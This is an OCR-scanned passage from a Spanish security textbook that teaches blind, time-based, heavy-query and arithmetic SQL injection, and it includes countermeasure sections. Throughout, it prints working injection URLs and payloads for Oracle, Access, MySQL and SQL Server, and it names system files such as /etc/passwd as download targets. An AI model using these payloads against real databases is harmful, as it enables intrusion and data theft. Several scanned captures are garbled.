realiza comprobaciones de inyeccién de comportamiento cero. A diferencia de
otras, realiza tests de comprobacion para saber si un parametro es vulnerable,
basados en namero de lineas, namero de palabras o palabra clave.
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La herramienta tiene como curiosidad también la busqueda de terminadores
de expresiones con paréntesis para poder completar las inyecciones correcta-
mente. Es una herramienta de software libre.

Figura 13. SQLiBF descubriendo por Blind SQL Injection el usuario de la aplicacién

rror Messages

erver

2.4.7. Web Inspect

Esta herramienta se comercializa por la empresa SPI Dynamics desde el afio
2005 y esta mantenida bajo los estudios de Kevin Spett. Al ser una herramien-
ta comercial, no se dispone del cédigo y solo se conoce su funcionamiento
sobre la base de las especificaciones del producto y de como es descrita en el
documento “Blind SQL Injection. Are you web applications vulnerable?” .

Funciona utilizando comprobaciones de error basadas en firmas, pero no se
sabe si la aplicacion utiliza la automatizacion basada en palabras clave. Lo que
no aparece descrito en ningtn apartado de las caracteristicas es la utilizacién
de automatismos basados en tiempo.

Esta herramienta es una herramienta de caracter general en cuanto a seguridad

de aplicaciones y esta pensada para buscar todo tipo de vulnerabilidades.

2.4.8. Acunetix Web Vulnerability Scanner

Acunnetix es una herramienta para la auditoria de aplicaciones web de forma
automatica. En la version 4 de la herramienta se afiadieron moédulos para la
deteccion de vulnerabilidades Blind SQL Injection y Blind XPath Injection.
Esta herramienta es una buena alternativa para realizar la comprobacion de la

seguridad de vuestra aplicacién web, incluso para vulnerabilidades a ciegas.


http://www.open-labs.org
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Figura 14: Configuracién médulo Blind SQL Injection/Blind XPath Injection para Acunetix Web
Vulnerability Scanner4
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2.5. Proteccion contra Blind SQL Injection

Las protecciones para SQL Injection son las mismas que contra SQL Injection.
(Como hacerlo?, pues comprobando absolutamente todo. Hoy en dia, en to-
dos los documentos técnicos en los que se evalta el desarrollo de aplicaciones
seguras esta disponible un amplio estudio sobre como desarrollar protegiendo
los programas contra la inyeccién de codigo.

Michael Howard, uno de los padres del modelo SDL (secure development lifecy-
cle) utilizado por Microsoft en el desarrollo de sus altimas tecnologias y escri-
tor del libro Writting Secure Code (2.* edicion) dedica todo un tema a evitar la
inyeccién de c6digo y lo titula de forma muy personal: “All Input Is Evil! Until

proven otherwise”.

Ademas, casi todos los fabricantes o responsables de lenguajes de programa-
cioén de aplicaciones web ofrecen “mejores practicas” para el desarrollo seguro,
dando recomendaciones claras y concisas para evitar la inyeccion de cédigo.
Asi que ja comprobarlo todo!

Toda consulta que se vaya a lanzar contra la base de datos y cuyos pardmetros
vengan desde el usuario, no importa si en principio van a ser modificados o
no por el usuario, debe ser comprobada y realizar funciones de tratamiento
para todos los casos posibles. Hay que prever que todos los pardmetros pueden
ser modificados y traer valores maliciosos. Se recomienda utilizar c6digos que
ejecuten consultas ya precompiladas para evitar que interactde con los para-
metros de los usuarios.

Asimismo, como se ha visto, los atacantes intentan realizar ingeniera inversa
y extraer informacion de las aplicaciones sobre la base de los mensajes o tra-

tamientos de error. Es importante que se controlen absolutamente todas las
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posibilidades que puedan generar error en cualquier procedimiento por parte
del programador. Para cada accion de error se debe realizar un tratamiento se-
guro del mismo y evitar dar ninguna informacién util a un posible atacante.

Es recomendable que los errores, tanto los errores de aplicaciéon como los de
servidor, se auditen, pues puede representar un fallo en el funcionamiento
normal del programa o un intento de ataque. Se puede afirmar que casi el
100% de los atacantes a un sistema van a generar algan error en la aplicacion.
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3. Blind SQL Injection basandose en tiempos

A las técnicas que automatizan la extraccién de informacién a ciegas usando
retardos de tiempo se las conoce como Time-Based Blind SQL Injection y han
ido especializandose en diferentes tecnologias de bases de datos para generar
estos retardos. Asi, por ejemplo, la herramienta SQL Ninja utiliza el sistema
de tiempos descrito por Chrish Anley en aplicaciones web que utilizan mo-
tores de base de datos Microsoft SQL Server. Otras herramientas como SQL
Power Injector utilizan el sistema de inyectar funciones benchmark, que gene-
ran retardos en motores de bases de datos MySQL o inyectar la llamada a la
funcion PL/SQL DBMS_ LOCK.SLEEP (time) en sistemas con motores Oracle.
Para otros sistemas de bases de datos como Access o DB2 no existe forma si-
milar de generar retardos de tiempo. Los métodos de generar estos retardos
de tiempo quedan por tanto bastante restringidos. En primer lugar, para Ac-
cess, DB2 y otros motores de bases de datos no se conoce ninguna forma; en
segundo lugar, para hacerlo en motores Oracle se necesita acceso a una inyec-
ciéon PL/SQL que no es comun encontrarse con un entorno que lo permita y,
por ultimo, los sistemas de fortificacion suelen tener en cuenta la restriccion
del uso de funciones benchmark en entornos MySQL y waitfor en entornos
Microsoft SQL Server.

La “booleanizacién” consiste en como extraer un dato mediante una
secuencia de condiciones booleanas que devuelve true o false. El término
viene del documento “Blind XPath Injection” de Amit Klein.

Por ejemplo, supongamos que queremos extraer el valor del campo username
de la vista all users en un motor Oracle y este valor es “ sys”. El proceso

de “booleanizacioén” seria el siguiente:

255> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
-> True [255 > ASCII('s')=11l5]

122> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
-> True [122 > ASCII('s')=115]

61> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1

-> False [61 < ASCII('s')=115]

92> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1l

-> False [92 < ASCII('s')=115]

107> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1
-> False [107 < ASCII('s')=11l5]

115> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
-> False [115 = ASCII('s')=11l5]

119> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
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-> True [119 < ASCII('s')=115]
117> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
-> True [117 < ASCII('s')=115]
116> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1

-> True [116 < ASCII('s')=11l5]

En este punto se ha averiguado que el valor ASCII de la primera letra del nom-
bre es 115, ya que no es mayor que 115 y es menor que 116. Y se pasaria a
realizar el mismo proceso con la segunda letra. Como se puede ver, el proceso
va a exigir una serie de repeticion de peticiones para cada valor, pero al final
se obtiene el resultado. El problema, como se explica al principio de este apar-
tado, es determinar cuando la respuesta es true y cuando es false.

3.1. Time-Based Blind SQL Injection

Hasta el momento, los sistemas que se conocian para extraer informacion es-
taban basados en las funciones que ofrecia cada motor de bases de datos, asi,
por ejemplo, en una aplicaciéon web que utilice Microsoft SQL Server podria

realizarse una inyeccién como la siguiente:

http://servidor/prog.cod?id=1; if (exists(select * from contrasena)) waitfor delay '0:0:5'-

Esta consulta, en el caso de existir la tabla “contrasena” y tener algin registro,
va a pausar la respuesta de la pdgina web un tiempo de 5 segundos. Si la res-
puesta se obtiene en un periodo inferior podemos inferir que la tabla “contra-
sena” existe y tiene algln registro. La misma idea puede ser utilizada para una
aplicacion con Oracle:

http://servidor/prog.cod?id=1; begin if (condicion) then dbms lock.sleep(5); end if; end;

Y con MySQL, usando por ejemplo la funcién benchmark del ejemplo, que
suele tardar unos 6 segundos en procesarse o la funcién Sleep (), que ya viene
en las versiones 5 de MySQL.

http://servidor/prog.cod?id=1 and exists(select * from contrasena) and

benchmark (5000000, md5 (rand () ))=0

http://servidor/prog.cod?id=1 and exists (select * from contrasena) and sleep(5)

3.2. Heavy Queries

Las consultas pesadas (heavy queries) han sido y siguen siendo un quebradero
de cabeza en la optimizacién de sistemas de bases de datos. Un motor puede
almacenar cantidades de informacién tan grandes y con tal cantidad de usua-
rios que si no se optimizaran las bases de datos dejarian de ser ttiles. Los ajus-
tes de rendimiento son constantes en los grandes sistemas de bases de datos

para conseguir mejorar los tiempos de respuesta. Con los afios los motores de
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bases de datos han ido evolucionando para que sean ellos los que optimicen
las consultas que generan los programadores y no al contrario como se hacia
antafio, aunque hay algunos motores que siguen requiriendo del programa-
dor para optimizar una consulta. Es decir, supongamos una consulta Select
como la siguiente:

Select campos from tablas where condicion 1 and condicion 2;

;Con qué orden evaluar las condiciones para que se ejecute esta consulta y el
sistema lo mas rapido posible? En este ejemplo, al utilizar una condicién AND,
si la primera condicién que evaluamos da como resultado un valor FALSO el
motor ya no tiene que evaluar la otra. Si hubiera sido un operador OR el fun-
cionamiento hubiera sido al contrario, es decir, si la primera da VERDADERO
ya no hay que evaluar la segunda condicién. La conclusién varia en cada mo-
tor de bases de datos. En algunos se establece una precedencia y se hace recaer
la optimizacion sobre el programador. Es decir, se evaltian las condiciones de
izquierda a derecha o de derecha a izquierda y es responsabilidad del progra-
mador elegir el orden de evaluacion en funcién de la probabilidad de obte-
ner el resultado en menos tiempo. Si por ejemplo se estima que en evaluar la
condicion 1 el motor tarda 6 segundos y en evaluar la condicion 2 unos
2 segundos y el motor utiliza precedencia por la izquierda entonces habra que
situar a la izquierda la condicién de menos tiempo. Para entenderlo vamos a

ver la tabla de tiempos posibles:

Condicion_1 Condicion_2 Condicion_1 Tiempo repuesto
(6 segundos) (2 segundos) & Condicién_2

TRUE FALSE FALSE 8 segundos

TRUE TRUE FALSE 8 segundos

FALSE No se evalia FALSE 6 segundos

Tabla con la condicion_1 (la pesada) a la izquierda

Condicion_2 Condicion_1 Condicion_1 Tiempo repuesto
(2 segundos) (6 segundos) & Condicion_2

TRUE FALSE FALSE 8 segundos

TRUE TRUE FALSE 8 segundos

FALSE No se evalia FALSE 2 segundos

Tabla con la condicion_2 (la ligera) a la izquierda

Como se puede ver, en una probabilidad similarmente distribuida de que cada
condicion pueda tomar valores true o false, es mas 6ptimo evaluar siempre
primero la consulta ligera. Esto puede cambiar en funcién de las densidades.
Es decir, en una clausula Where con operador AND en la que la condicién ligera
tenga una probabilidad del 99% de ser true y la pesada una probabilidad del

5% de ser true puede ser mas eficiente utilizar una precedencia distinta.
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Motores como Microsoft SQL Server u Oracle implementan optimizacién de
consultas en tiempo de ejecucion. Es decir, analizan las condiciones que pone
el programador y eligen el orden de ejecucién “correcto” segiin su estimacion.
Para ello utilizan reglas basicas, avanzadas e incluso datos estadisticos de las
tablas de la base de datos en concreto.

3.2.1. Como generar consultas pesadas

La forma mas sencilla de generar consultas pesadas es usar lo que mas hace
trabajar a las bases de datos, los productos cartesianos de tablas, es decir, unir
una tabla con otra y con otra hasta generar una cantidad de registros tan gran-
de que obliguen al servidor a consumir un tiempo medible en procesarlo. Pa-
ra ello basta con conocer, averiguar o adivinar una tabla del sistema de bases
de datos, que tenga algin registro, y unirla consigo misma hasta generar un
tiempo medible. Vamos a ver algunos ejemplos.

Oracle

La siguiente consulta, lanzada contra un servidor de pruebas, muestra el pri-
mer select la consulta pesada y el segundo la consulta de la que deseamos
averiguar la respuesta. Logicamente, en este caso, la respuesta ha de ser true
pues hemos utilizado el valor 300 que es mayor que cualquier valor ASCII:

http://blind.elladodelmal.com/oracle/pista.aspx?id pista=1l and (select count (*)
from all users tl, all users t2, all users t3, all users t4, all users t5)>0 and

300>ascii (SUBSTR( (select username from all users where rownum = 1),1,1))

Lanzando esta consulta con la utilidad wget podemos ver una medicién de
tiempos:

Figura 15. La consulta dura 22 segundos, luego la respuesta es VERDADERO.

SiNpruechas duget ~v “"http://blind.elladodelnal.con/oraclespista.aspx7id_pista~1 ¢
d € ct counti(=) fronm all_users ti, all 2, all_users t3, all_users t4,
s t5) > 9 and 3 D sciiC(SUBSTRC(C soernane fron all_users vhere r

1_usersz2Buherex2
resulta

/ > xt
Connecting to blind.elladodelnal.con:88... connected!?
pst sent, awaiting response... 2080 OX
: 886 [text/htnl)

(188x)

(886.08 B/3) ‘resultado.txt’ saved [(886/806)

Si forzamos que la segunda condicién, la ligera, valga FALSO, en este caso
preguntando si O es mayor que el valor ASCII de la primera letra, podremos
comprobar cémo la consulta pesada no se ejecuta y el tiempo de respuesta es

menor.
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Figura 16. La consulta dura 1 segundo, luego la respuesta es FALSO.

si\pruebasduget -v “http://blind.elladodelnal.con‘oracles/pista.aspx?7id_pista~i
Cselect count{(*> fron all_us 5 ¢1. all _users t2, all _users t3, all _users
r2 t5) O 0 and B D as JBSTRC((select usernane from all_users vhere
120" -0 result 3
htep: //hlnnl elladodelnal.con:88/0raclespista.aspx?id pl ta~1x2

%20f ronx28all _us

Connecting to bl ladode lnal.co . connected!?
HITP request sent, saiting response... 208 OK
Length: 884 [text/htnl)

8x -> (1982 )

(884.08 B/3) ‘resultado.txt’ saved (884/884)

Como se puede ver en la consulta generada, se ha utilizado 5 veces la vista
all users, pero esto no quiere decir que sea el nimero de tablas que deban
utilizarse para todas las bases de datos Oracle, ya que el retardo de tiempo
dependera de la configuracion del servidor y el namero de registros que tenga
la tabla. Lo que es absolutamente cierto es que se puede medir un retardo de
tiempo y puede automatizarse este sistema.

Microsoft Access

Los motores Microsoft Access no tienen funciones de retardo de tiempo, pero
las bases de datos Access tienen un pequefio diccionario de datos compuesto
por una serie de tablas. En las versiones de Microsoft Access 97 y 2000 es po-
sible acceder a la tabla MSysAccessObjects y las versiones 2003 y 2007 a la
tabla MSysAccessStorage y generar, mediante uniones de estas tablas con-
sultas pesadas que generen retardos de tiempos medibles. Por ejemplo, para
una base de datos con Access 2003, podriamos ejecutar la siguiente consulta:

http://blind.access2007.foo/Blind3/pista.aspx?id pista=1 and (SELECT count (*)
from MSysAccessStorage tl, MSysAccessStorage t2, MSysAccessStorage t3,
MSysAccessStorage t4, MSysAccessStorage t5, MSysAccessStorage t6) > 0 and exists

(select * from contrasena)

El primer Select es la consulta pesada y el segundo la consulta de la que
queremos respuesta, es decir, si existe la tabla llamada “contrasena”. Como se
puede ver en la captura realizada con la utilidad wget la consulta dura 39 se-
gundos, luego, la consulta pesada, en este caso muy pesada para este entorno,
se ha ejecutado por lo que el valor es VERDADERO, la tabla “contrasena” exis-
te y tiene registros.

Figura 17. La consulta dura 39 segundos, Iuego la respuesta es VERDADERO.

> "resultado.txt’
Connecting to localhost:3692... connecte
HITP request sent, avaiting response...
Length: 827 [(text/htnl)

(198x)
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Para comprobarlo realizamos la negacion de la consulta ligera y medimos el
tiempo de respuesta:

Figura 18. La consulta dura menos de 1 segundo, luego la respuesta es FALSO.

C:\pruebas duget
CT count i S s C qeo -~ ] age
=N N torage tS, ysRccessStorage th)
0 resultado.txt

resultado.txt’
Connecting to localhost:3692... connected!
HITP request sent, avaiting response... 208 OX
Length: 831 [text/htnl)

> (198 )

;89 (811.52 KBr/3) ‘resultado.txt’ saved [(831,831)

MySQL

En las versiones 5.x de los motores MySQL es posible conocer a priori un mon-
ton de tablas de acceso, de la misma forma que sucede en todos los sistemas
que tienen diccionarios de datos. En el caso de MySQL se pueden generar con-
sultas pesadas utilizando cualquiera de las tablas de Information schema,
como por ejemplo la tabla columns.

http://blind.mysqgl5.foo/pista.aspx?id pista=1l and exists (select * from
contrasena) and 300 > (select count(*) from information schema.columns,

information_schema.columns T1l, information schema T2)

El primer select la consulta pesaday el segundo la consulta de la que se desea
una respuesta VERDADERA o FALSA.

En las versiones 4.x y anteriores la eleccion de la tabla debe ser conocida o
adivinada ya que no comparten un catalogo que por defecto sea accesible des-
de fuera.

Microsoft SQL Server

Con los motores de bases de datos Microsoft SQL Server se cuenta con un
diccionario de datos por cada base de datos y ademas un diccionario global
del servidor mantenido en la base de datos master. Para generar una consulta
pesada se puede intentar utilizar cualquier tabla de esas, como por ejemplo las
tablas sysusers, sysobjects 0 syscolumns. El ejemplo siguiente muestra
una consulta pesada (primer select) para un motor Microsoft SQL Server
2000, y el segundo select la consulta que queremos que nos responda:

http://blind.sglserver2k.foo/blind2/pista.aspx?id pista=1 and (SELECT count (*)
FROM sysusers AS sysl, sysusers as sys2, sysusers as sys3, sysusers AS sys4,
sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0 and

100> (select top 1 ascii(substring(name,1l,1)) from sysusers)
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Otros motores de bases de datos

El método funciona de igual forma en otros motores de bases de datos. Al final
la idea es sencilla, hacer trabajar el motor de base de datos usando técnicas
de anti optimizacién. Como la explotacion depende del entorno es necesario
un proceso de ajuste de la consulta pesada para cada entorno y ademas, al ser
basado en tiempos, hay que tener en cuenta las caracteristicas del medio de
transmision. Siempre es recomendable realizar varias pruebas para comprobar

que los resultados son correctos.

3.2.2. Contramedidas

Evitar estas técnicas es lo mismo que evitar las vulnerabilidades de SQL Injec-
tion. Para evitar que una aplicacién sea vulnerable a ellas se han escrito y es
tacil encontrar guias de precauciones a seguir y como hacerlo en cada lenguaje
de programacién en concreto.

Logicamente no son perfectas y se necesita de un programador experimentado
y preparado para el desarrollo seguro de aplicaciones, pero si son un apoyo
mas.

Fxcop
Herramientas como Fxcop ayudan a detectar las vulnerabilidades mediante el analisis

del cédigo. Existen maltiples herramientas de este tipo y especializadas en distintos len-
guajes.

Analisis estatico de codigo

Las herramientas de andlisis es-
tatico de cédigo son una ayu-
da mas al ojo del programador
a la hora de evitar vulnerabili-
dades en el cédigo.
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4. Arithmetic Blind SQL Injection

Otra de las limitaciones de los ataques a ciegas viene impuesta por la posibili-
dad de inyectar o no dentro de una aplicacién web. Hasta el momento existen
ciertos entornos en los que, aunque el parametro es vulnerable a inyeccién de
codigo, la inyeccién practica para la extraccion de datos no es posible. Esto es
debido al entorno concreto donde se encuentra la vulnerabilidad y la limita-

cién concreta en la inyeccion.

Uno de estos entornos clasicos es la inyeccion de procedimientos matematicos
en los que no hay posibilidad de inyectar c6digo para crear una légica boolea-
na. Hasta el momento, la explotacién mediante técnicas a ciegas se realiza con
la base de construir inyecciones de cambio de comportamiento cero y cambio
de comportamiento positivo utilizando los operadores relacionales OR y AND,
pero hay entornos donde esto no va a ser posible.

Supongamos una aplicacién web que recibe un pardmetro numérico id que
va a utilizar dos consultas SQL. Estas dos consultas utilizan un factor de anida-
miento de paréntesis distinto y la aplicacién no devuelve ningtn resultado
hasta que no se han procesado las dos consultas SQL. Es decir, el cliente de la
aplicacion web no recibird ningan dato hasta que ambas hayan terminado. El
esquema seria el siguiente:

Recibir parametro (id)
Select cl from tablal where id=id
Select c2 from tabla2 where id=abs (id)

Devolver datos ()

Esta sencilla estructura hace que no sea posible conseguir una inyeccién de
comandos SQL que sea sintacticamente vélida en las dos instrucciones SQL si
estas necesitan el uso de operadores 16gicos AND u OR.

Una inyeccion del tipo 1 AND 1=1 sera correcta en la primera consulta SQL
pero no en la segunda. Una inyeccién que sea sintacticamente correcta en la

segunda, como por ejemplo 1 and (1=1, dara error en la primera consulta.

En estos entornos se hace necesario construir la l6gica booleana de extraccion

de datos utilizando operaciones matematicas. Veamos algunos ejemplos:

1) Ejemplo de divisiéon por O
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Este método fue explicado por David Litchfield en el afio 2000 y hasta hoy
era el inico valido para resolver esta indeterminacion. El objetivo es conseguir
un error de base de datos cuando la condicién sea cierta. Para ello, la inyec-
cién de cambio de comportamiento cero serd 1/1 y la inyeccién de cambio de
comportamiento positivo sera 1/0.

Primero hay que analizar cudl es el comportamiento normal de la aplicacién
sin que se produzca ninguna inyeccién de comandos SQL.

Figura 19. La aplicacién muestra una noticia

/f Arithmetic Blind SQL Injection - Windows Internet Explorer

@ )~ ]g http:/flocalhost}arithmetic/sql2005.aspx?id=1

Archivo Edicion Ver Favoritos Herramientas Ayuda

w e @ arithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

Chema and Fernando speaking in HackCon

Como se puede apreciar, la aplicacion muestra, en su comportamiento normal,

una noticia.

Si se intenta realizar una inyeccién de comportamiento cero como las pro-
puestas en los entornos tradicionales, se puede apreciar que la aplicacién ge-
nera un error. Esto es debido a que sintacticamente no es correcta pues el pa-
rametro estd introducido en un procedimiento matematico tal y como se ha
ilustrado en este apartado.
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Figura 20. Inyeccién en procedimiento matematico

/2 Arithmetic Blind SQL Injection - Windows Internet Explorer

—
@ ) IE http:/flocalhost/arithmetic/sql200S.aspx?id=1 and 1=1

Archivo Edicion Ver Favoritos Herramientas Ayuda

w ok @ arithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

An error has occurred. Please contact your system administrator

Es por tanto necesario establecer una légica con inyecciones de cambio de

comportamiento cero y cambio de comportamiento positivo sin utilizar ope-
radores 10gicos. Si se inyecta 1/1 se vera que la aplicacion funciona correcta-

mente sin que se haya producido ninguna alteracion en su comportamiento.

Figura 21. Inyeccién de cambio de comportamiento cero

/2 arithmetic Blind SQL Injection - Windows Internet Explorer

@ & Ié http:{flocalhostfarithmetic{sql2005.aspx?id=1/1

Archivo Edicibn Yer Favoritos Herramientas Ayuda

S¢ 4 @ arithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

Chema and Fernando speaking in HackCon

La inyeccién 1/1 genera un cambio de comportamiento cero debido a que
1/1 devuelve 1 en el lenguaje SQL. Esto funciona de esta manera porque el
motor de base de datos estd ejecutando la operacién matematica de division
entera con los valores 1 y 1. Sin embargo, si se cambia el valor del divisor por
un 0 se estara incurriendo en una division por cero que genera una excepcién
en todos los motores de bases de datos.
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Figura 22. Excepcién producida por el intento de divisién por cero

f_‘ Arithmetic Blind SQL Injection - Windows Internet Explorer

@‘ 4 IE_ http:/flocalhost/arithmetic/sql2005. aspx?id=1/0|

Archivo Edicibn Yer Favoritos Herramientas Ayuda

S ¢ @ arithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

An error has occurred. Please contact your system administrator

A partir de este entorno, ya es posible establecer toda una légica para obtener
los datos de la base de datos. En este entorno el primer usuario de la tabla
sysusers es dbo, luego el valor ASCII de su primera letra, la “ d”, es 100. Si
se realiza una inyeccién como la siguiente:

id=1-(0/ (select top 1 ascii (substring(name,1,1))-99 from sysusers order by name asc))

se estaria inyectando algo igual a 1d=1-(0/100-99), o lo que es lo mismo
id=1-0 o directamente id=1. Cualquier valor que se reste al valor ASCII de la
letra buscada que no sea exactamente el valor de la letra dejara la consulta sin
cambios. Lo que significara que el valor no es el buscado.

Figura 23. El valor buscado no es 99

/_‘ Arithmetic Blind SQL Injection - Windows Internet Explorer

—
@ £ v IE_ http: fflocalhost/arithmetic/sql200S.aspx?id=1-(0f(select top 1 ascii{substring(name, 1,1))-99 from sysusers order by name asc))

Archivo Edicibn Yer Favoritos Herramientas Ayuda

W @ Arithmetic Blind SQL Injection I l

Informatica 64

www.informatica64.com

SQL Server 2005

Chema and Fernando speaking in HackCon

Por el contrario, si en este entorno se introduce el valor 100, es decir, hacien-
do que se cumpla la condicioén de igualdad entre el valor buscado y el valor
probado, se puede observar que se obtiene una excepcion de division por cero
que significa la confirmacién de la condicion.
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Figura 24. Excepcién de divisién por cero.

ﬂ‘ Arithmetic Blind SQL Injection - Windows Internet Explorer

—
@ =) I"i http:fflocalhostfarithmetic/sql2005. aspx?id=1-{0f(select top 1 ascii(substring(name, 1,1))-100 from sysusers order by name asc))|

Archivo Edicién Ver Favoritos Herramientas Ayuda

1:3 e @ avithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

An error has occurred. Please contact your system administrator

2) Ejemplo de desbordamiento de buffer

Otra de las formas de construir una logica binaria en este entorno es utilizar
los errores de desbordamiento de tipo como inyeccion de cambio de compor-
tamiento positivo. El objetivo es sumar un valor al pardmetro que desborde
el tipo de dato del pardmetro si la condicién es cierta, para ello, se pueden
probar las inyecciones de cambio de comportamiento positivo simplemente
sumando un valor que desborde el tipo de datos.

En este entorno 1d=1-(99999999999999999%9999999999999999999)
desbordara el tipo de datos del pardmetro idy se obtendra un mensaje de error.

Figura 25. El pardmetro id desbordado genera un error

/2 arithmetic Blind SQL Injection - Windows Internet Explorer

@ <z Ié http:/flocalhost/arithmetic/sql2005. aspx?id=1id=1-(99999999999999999*9999999999999999999)

Archivo Edicibn Yer Favoritos Herramientas Ayuda

w ke @ avithmetic Blind SQL Injection | |

Informatica 64

www.informatica64.com

SQL Server 2005

An error has occurred. Please contact your system administrator

A partir de este entorno se podria construir toda la logica y extraer la infor-
macion de igual forma que con el ejemplo de la divisién por cero. Asi, para
obtener el valor ASCII de la primera letra del nombre del primer usuario en la
tabla sysusers, se puede construir una consulta como:

id=1-( (contador/ (select top 1 ASCII (substring(name,1,1))

from sysusers order by name asc))
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*(99999999999999999%9999999999999999999) )

El valor de “contador” ird creciendo desde 1 hasta que se iguale con el valor
ASCII del valor que se esta buscando. Mientras contador sea menor, la division

generard un valor O que anularé las constantes que desbordan el tipo del pa-
rametro vulnerable.

Figura 26. El pardmetro no es desbordado porque la division vale 0
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Sin embargo, en el momento en que el valor de contador se iguala con el valor

ASCII que se estd buscando, se obtiene un mensaje de error que indica que la
condicién es cierta.

Figura 27. El tipo de datos se desborda cuando la condicién es cierta

/2 Arithmetic Blind SQL Injection - Windows Internet Explorer
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An error has occurred. Please contact your system administrator

Como se puede apreciar, el desbordamiento de tipos de datos es igual de valido
para la explotacion a ciegas en estos entornos.

3) Ejemplo de sumas y restas

Una tercera forma de explotar las vulnerabilidades de inyeccion de coédigo SQL
en funciones matematicas consiste en utilizar la aplicacién como si fuese una

maquina de Touring. El objetivo es marcar la posiciéon actual como el valor
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cierto. Después se suma el valor buscado al pardmetro vulnerable y se resta

el valor de un contador. La condicion sera cierta cuando se obtenga la notica
original.

En este entorno se podria obtener, al igual que en los ejemplos anteriores, el

valor de ASCII de la primera letra del primer usuario de la tabla sysusers con
la siguiente inyeccion:

Id=1-(-(select top 1 ascii(substring(name,1l,1)) from sysusers order by name asc))-contador

En este entorno, mientras que contador no se iguale con el valor buscado,
se estaran pasando otros valores distintos al pardmetro id e iran apareciendo

distintos resultados.

Figura 28. Resultados obtenido equivalente a id=2
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Solo cuando se iguale el valor de contador con el valor buscado se obtendra
la respuesta original. De esta sencilla forma sera posible establecer respuestas

distintas a condiciones ciertas y condiciones falsas para extraer toda la infor-
macion de la base de datos.

Figura 29. Respuesta original obtenida via sumas y restas
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Como se ha podido ver con estas técnicas, es posible, mediante operaciones
matematicas, extraer la informacién. No ha sido necesario utilizar los opera-
dores 16gicos AND u OR pero de igual forma se puede construir la 16gica binaria
necesaria para extraer toda la informacion.

4.1. Remote File Downloading

El presente punto es una vuelta de tuerca al SQL Injection para extraer, en este
caso, ficheros del servidor donde esta instalado el motor de las bases de datos.
Para que entendamos de qué trata el trabajo, tomemos el siguiente ejemplo:
Supongamos un cliente A que se conecta a una aplicacion web vulnerable a
Blind SQL Injection B. Supongamos que esta aplicacion vulnerable se conecta
a un motor de base de datos que se ejecuta sobre el servidor C. Una vez enten-
dido quién es A, quién es B y quién es C, la idea es tan sencilla como que fi-
cheros de C sean descargados a A. Estos ficheros pueden ser tan famosos como

boot.ini, el fichero sam, /etc/passwd o tan anodinos como datos.dat.

En las partes que ocuparé este trabajo se analizard en detalle como se pue-
de perpetrar un RFD, es decir, una descarga remota de un fichero, utilizando
Blind SQL Injection. Para ello se analizar la metodologia de trabajo, las
caracteristicas de cada uno de los motores que se van a tratar, a saber: Microsoft
SQL Server 2000, 2005 y 2008, Oracle versiones "i" y "g" y MySQL. Ademas, fi-
nalizaremos con un recorrido de las herramientas existentes y algunas opcio-
nes de fortificacion y securizacion del entorno. Asi que, si os apetece descubrir
como se hace, comencemos por el principio.

4.2. Booleanizacion de datos

Para poder extraer informacién de una base de datos mediante un ataque
Blind SQL Injection es necesario ser capaz de evaluar las respuestas del
sistema y definir una clasificaciéon entre respuestas verdaderas o falsas. Las res-
puestas verdaderas seran aquellas que corresponden al comportamiento de la
aplicacion web tras la ejecucién de una consulta en la que se ha inyectado
una condicion légica verdadera, por ejemplo: “ and 1=1"y las respuestas fal-
sas corresponderan al comportamiento de la aplicacién ante la ejecucion de
una consulta en la que se inyecta una logica falsa, por ejemplo: “ and 1=2".
Al proceso de formular el criterio de decision se le llama booleanizacién, con
independencia de cudl sea el aspecto del comportamiento de la aplicacion a

considerar para construir dicho criterio.

Teniendo en cuenta el tipo de dato que se defina para cada parametro de la base
de datos, la booleanizacién de un dato de tipo numérico se realiza mediante el
uso de comparaciones de tipo “mayor que” o “menor que” entre el dato que
se intenta inferir y unos indices de referencia. Implementando un algoritmo
de busqueda binaria entre los limites del tipo de datos se puede llegar a inferir

el resultado solo obteniendo respuestas verdadero o falso.
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Si el dato al que se desea acceder es de tipo alfanumérico, el proceso de boo-
leanizacién requiere que la inferencia se realice caracter a caracter, es decir,
si el dato es de diez caracteres de longitud entonces el proceso consistird en
repetir diez veces la inferencia de un cardcter. Para realizar la inferencia de un
caracter este se transforma en su valor ASCII equivalente. Una vez convertido
el caracter en un valor numérico, su inferencia se realiza como se ha descrito
en el proceso de booleanizacién de datos numéricos. Por ejemplo, se supone
que se desea extraer el valor del campo username de la vista all users en
un motor Oracle y este valor es “ sys”. Teniendo en cuenta que el valor ASCII
de la primera letra, es decir, la ‘s’ esel 115, el proceso de booleanizacion seria
el siguiente:

255> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
128> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
64> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
96> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1l

112> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1

120> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1
116> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1
114> (Select ASCII (Substr (username,1,1)) from all users where rownum<=1
115> (Select ASCII (Substr(username,1,1)) from all users where rownum<=1

En este punto se ha averiguado que el valor ASCII de la primera letra del nom-
bre es 115, ya que no es mayor que 115 y es menor que 116. Y se pasaria a
realizar el mismo proceso con la segunda letra. Se trata de un proceso iterativo,
en ocasiones costoso, que finalmente permite obtener el resultado buscado.

El tratamiento de ficheros en el servidor depende de cada motor de bases de
datos que se esté utilizando. Es necesario conocer el motor de base de datos y
la versién para intentar la descarga de ficheros mediante un proceso de boo-
leanizacion. Los motores de bases de datos modernos incorporan diferentes
mecanismos para acceder a los ficheros del sistema operativo. Estos mecanis-
mos, muy utiles en el desarrollo de aplicaciones, pueden volverse peligrosos si
